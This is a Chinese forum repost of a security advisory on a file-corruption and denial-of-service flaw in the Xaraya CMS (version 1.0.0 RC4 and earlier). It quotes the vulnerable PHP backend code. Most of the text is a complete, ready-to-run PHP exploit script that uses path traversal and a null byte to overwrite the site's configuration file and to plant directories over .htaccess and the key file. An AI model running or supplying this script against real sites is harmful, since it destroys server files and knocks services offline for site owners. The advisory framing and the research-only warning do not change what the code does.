发新话题
打印

[转载]Xaraya拒绝服务/文件破坏漏洞

[转载]Xaraya拒绝服务/文件破坏漏洞

信息来源:绿盟科技

受影响系统:
Xaraya Xaraya <=1.0.0 RC4
Xaraya Xaraya
描述:
--------------------------------------------------------------------------------
Xaraya是一套优秀的内容管理系统。

Xaraya的fopen()中存在文件破坏漏洞,可能导致拒绝服务。xarMLSXML2PHPBackend.php中的漏洞代码如下:

...
  function create($ctxType, $ctxName)
   {
      assert(&#39;!empty($this->baseDir)&#39;);
      assert(&#39;!empty($this->baseXMLDir)&#39;);
      $this->fileName = $this->baseDir;
      $this->xmlFileName = $this->baseXMLDir;

      if (!ereg("^[a-z]+:$", $ctxType)) {
        list($prefix,$directory) = explode(&#39;:&#39;,$ctxType);
        if ($directory != "") {
           $this->fileName .= $directory . "/";
           $this->xmlFileName .= $directory . "/";
        }
      }

      $dirForMkDir = $this->fileName;
      if (!file_exists($dirForMkDir)) xarMLS__mkdirr($dirForMkDir, 0777);

      $this->fileName .= $ctxName . ".php";
      $this->xmlFileName .= $ctxName . ".xml";

      $xmlFileExists = false;
      if (file_exists($this->xmlFileName)) {
        if (!($fp1 = fopen($this->xmlFileName, "r"))) {
           xarLogMessage("Could not open XML input: ".$this->xmlFileName);
        }
        $data = fread($fp1, filesize($this->xmlFileName));
        fclose($fp1);
        $xml_parser = xml_parser_create();
        xml_parse_into_struct($xml_parser, $data, $vals, $index);
        xml_parser_free($xml_parser);
        $xmlFileExists = true;
      } else {
        xarLogMessage("MLS Could not find XML input: ".$this->xmlFileName);
      }

      $fp2 = @fopen ($this->fileName, "w" );
      if ($fp2 !== false) {
        fputs($fp2, &#39;<?php&#39;."\n");
        fputs($fp2, &#39;global $xarML_PHPBackend_entries;&#39;."\n");
        fputs($fp2, &#39;global $xarML_PHPBackend_keyEntries;&#39;."\n");
        if ($xmlFileExists) {
           foreach ($vals as $node) {
              if (!array_key_exists(&#39;tag&#39;,$node)) continue;
              if (!array_key_exists(&#39;value&#39;,$node)) $node[&#39;value&#39;] = &#39;&#39;;
              if ($node[&#39;tag&#39;] == &#39;STRING&#39;) {
                $node[&#39;value&#39;] = str_replace(&#39;\&#39;&#39;, &#39;\\\&#39;&#39;, $node[&#39;value&#39;]);
                $start = &#39;$xarML_PHPBackend_entries[\&#39;&#39;.$node[&#39;value&#39;]."&#39;]";
              } elseif ($node[&#39;tag&#39;] == &#39;KEY&#39;) {
                $node[&#39;value&#39;] = str_replace(&#39;\&#39;&#39;, &#39;\\\&#39;&#39;, $node[&#39;value&#39;]);
                $start = \
&#39;$xarML_PHPBackend_keyEntries[\&#39;&#39;.$node[&#39;value&#39;]."&#39;]";  } elseif ($node[&#39;tag&#39;] == \
&#39;TRANSLATION&#39;) {  if ($this->outCharset != &#39;utf-8&#39;) {
                   $node[&#39;value&#39;] = \
$GLOBALS[&#39;xarMLS_newEncoding&#39;]->convert($node[&#39;value&#39;], &#39;utf-8&#39;, $this->outCharset, \
0);  }
                $node[&#39;value&#39;] = str_replace(&#39;\&#39;&#39;, &#39;\\\&#39;&#39;, $node[&#39;value&#39;]);
                if (!empty($node[&#39;value&#39;])) {
                   fputs($fp2, $start . " = &#39;".$node[&#39;value&#39;]."&#39;;\n");
                }
              }
            }
        }
        fputs($fp2, "?>");
        fclose($fp2);
      } else {
        xarLogMessage("Could not create file: ".$this->fileName);
        global $xarML_PHPBackend_entries;
        global $xarML_PHPBackend_keyEntries;
        if ($xmlFileExists) {
           foreach ($vals as $node) {
              if (!array_key_exists(&#39;tag&#39;,$node)) continue;
              if (!array_key_exists(&#39;value&#39;,$node)) $node[&#39;value&#39;] = &#39;&#39;;
              if ($node[&#39;tag&#39;] == &#39;STRING&#39;) {
                $node[&#39;value&#39;] = str_replace(&#39;\&#39;&#39;, &#39;\\\&#39;&#39;, $node[&#39;value&#39;]);
                $entryIndex = $node[&#39;value&#39;];
                $entryType = &#39;string&#39;;
              } elseif ($node[&#39;tag&#39;] == &#39;KEY&#39;) {
                $node[&#39;value&#39;] = str_replace(&#39;\&#39;&#39;, &#39;\\\&#39;&#39;, $node[&#39;value&#39;]);
                $entryIndex = $node[&#39;value&#39;];
                $entryType = &#39;key&#39;;
              } elseif ($node[&#39;tag&#39;] == &#39;TRANSLATION&#39;) {
                if ($this->outCharset != &#39;utf-8&#39;) {
                   $node[&#39;value&#39;] = \
$GLOBALS[&#39;xarMLS_newEncoding&#39;]->convert($node[&#39;value&#39;], &#39;utf-8&#39;, $this->outCharset, \
0);  }
                $node[&#39;value&#39;] = str_replace(&#39;\&#39;&#39;, &#39;\\\&#39;&#39;, $node[&#39;value&#39;]);
                if ($entryType == &#39;string&#39;) {
                   $xarML_PHPBackend_entries[$entryIndex] = $node[&#39;value&#39;];
                } elseif ($entryType == &#39;key&#39;) {
                   $xarML_PHPBackend_keyEntries[$entryIndex] = \
$node[&#39;value&#39;];  }
              }
            }
        }
      }

      return true;
   }
}
?>

<*来源:rgod (rgod@autistici.org
  
  链接:http://marc.theaimsgroup.com/?l= ... 39120619644&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
#  ---Xaraya_DOS.php                         17.30 28/11/2005    #
#                                                    #
#                 Xaraya <=1.0.0 RC4 D.O.S                    #
#                    coded by rgod                        #
#              site: http://rgod.altervista.org                  #
#                                                    #
#  usage: launch from Apache, fill in requested fields, then go!          #
#                                                    #
#  Sun-Tzu: "Hold out baits to entice the enemy. Feign disorder,          #
#  and crush him."                                         #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);

echo&#39;<html><head><title> ******** Xaraya <=1.0.0 rc4 Denial of Service *********
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;  SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:  #FFFFFF  !important}  input  {background-color:   #303030
!important} option {  background-color:  #303030  !important}      textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}      checkbox
{background-color: #303030 !important} select {font-weight: normal;     color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt     !important;
background-color:  #111111;  body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}  h2  {font-size:  0.8em   !important} h3 {font-size: 0.8em
!important} h4,h5,h6   {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important}    h2 font {font-size: 0.8em !important}h3  font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********** Xaraya <=1.0.0 rc4 Denial of Service ******** </p><p class="Stile6">a
script  by  rgod  at      <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="&#39;.strip_tags($SERVER[PHP_SELF]).&#39;"><p><input
type="text"  name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/xaraya/  or just / ) </span></p></p><p> <input type="text" name="port">  <span
class="Stile5">specify  a  port  other than  80 ( default  value ) </span> </p>
<p>  <input  type="text"  name="proxy"><span class="Stile5">  send  exploit
through an  HTTP proxy (ip:port)</span></p><p><input type="submit" name="Submit"
value="go!"></p></form> </td></tr></table></body></html>&#39;;


function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo &#39;<table border="0"><tr>&#39;;
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
         $ji=0;
         $ci++;
         echo "<td>  </td>";
         for ($li=0; $li<=15; $li++)
               { echo "<td>".$headeri[$li+$ki]."</td>";
           }
        $ki=$ki+16;
        echo "</tr><tr>";
        }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
               { echo "<td>&nbsp&nbsp</td>";
                }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
               { echo "<td>".$headeri[$li]."</td>";
           }
echo "</tr></table>";
}
$proxy_regex = &#39;(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)&#39;;

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
               //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
             echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
             }
       else
       {  $c = preg_match($proxy_regex,$proxy);
          if (!$c) {echo &#39;Not a valid prozy...&#39;;
                die;
                }
              echo "OK.<br>";
              echo "Attempting to connect to ".$host." on port ".$port."...<br>";
              if ($proxy==&#39;&#39;)
        {
         $result = socket_connect($socket, $host, $port);
        }
        else
        {

        $parts =explode(&#39;:&#39;,$proxy);
             echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...<br>&#39;;
        $result = socket_connect($socket, $parts[0],$parts[1]);
        }
        if ($result < 0) {
                         echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                        }
                  else
                   {
                         echo "OK.<br><br>";
                         $html= &#39;&#39;;
                         socket_write($socket, $packet, strlen($packet));
                         echo "Reading response:<br>";
                         while ($out= socket_read($socket, 2048)) {$html.=$out;}
                         echo nl2br(htmlentities($html));
                         echo "Closing socket...";
                         socket_close($socket);

              }
            }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy==&#39;&#39;)
    {$ock=fsockopen(gethostbyname($host),$port);
     if (!$ock) { echo &#39;No response from &#39;.htmlentities($host);
        die; }
    }
         else
        {
     $c = preg_match($proxy_regex,$proxy);
          if (!$c) {echo &#39;Not a valid prozy...&#39;;
                die;
                }
     $parts=explode(&#39;:&#39;,$proxy);
      echo &#39;Connecting to &#39;.$parts[0].&#39;:&#39;.$parts[1].&#39; proxy...<br>&#39;;
      $ock=fsockopen($parts[0],$parts[1]);
      if (!$ock) { echo &#39;No response from proxy...&#39;;
        die;
          }
     }
fputs($ock,$packet);
if ($proxy==&#39;&#39;)
  {

   $html=&#39;&#39;;
   while (!feof($ock))
    {
      $html.=fgets($ock);
    }
  }
else
  {
   $html=&#39;&#39;;
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
   {
    $html.=fread($ock,1);
   }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$proxy=$_POST[proxy];

if (($host<>&#39;&#39;) and ($path<>&#39;&#39;))
{
  $port=intval(trim($port));
  if ($port==&#39;&#39;) {$port=80;}
  if (($path[0]<>&#39;/&#39;) or ($path[strlen($path)-1]<>&#39;/&#39;)) {echo &#39;Error... check the path!&#39;; die;}
  if ($proxy==&#39;&#39;) {$p=$path;} else {$p=&#39;http://&#39;.$host.&#39;:&#39;.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  $KEYFILE=urlencode("../../../../.key.php"); //to create an empty key.php dir...
  $HTACCESS=urlencode("../../../../../.htaccess"); //to create an empty .htaccess dir...
  $CONFIGFILE=urlencode("../../../../config.system.php".CHR(0x00)); //overwrite configuration file with garbage

  $request[0]="index.php?module=".$KEYFILE;
  $request[1]="index.php?module=".$HTACCESS;
  $request[2]="index.php?module=".$CONFIGFILE;
  $request[3]="index.php";

  for($i=0; $i<=count($request)-1; $i++)
  {
   $packet="GET ".$p.$request[$i]." HTTP/1.1\r\n";
   $packet.="Host: ".$host."\r\n";
   $packet.="User-Agent: Zoo Tycoon 2 Client\r\n";
   $packet.="Accept-Encoding: text/plain\r\n";
   $packet.="Connection: Close\r\n\r\n";
   show($packet);
   sendpacketii($packet);
  }
  if (eregi(&#39;fatal error&#39;,$html)) {echo "Exploit succeeded...";}
                          else  {echo "Exploit failed...";}
  }
else
  {echo "Fill * required fields, optionally specify a proxy";}
?>

# milw0rm.com [2005-11-29]

建议:
--------------------------------------------------------------------------------
厂商补丁:

Xaraya
------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.xaraya.com/

TOP

发新话题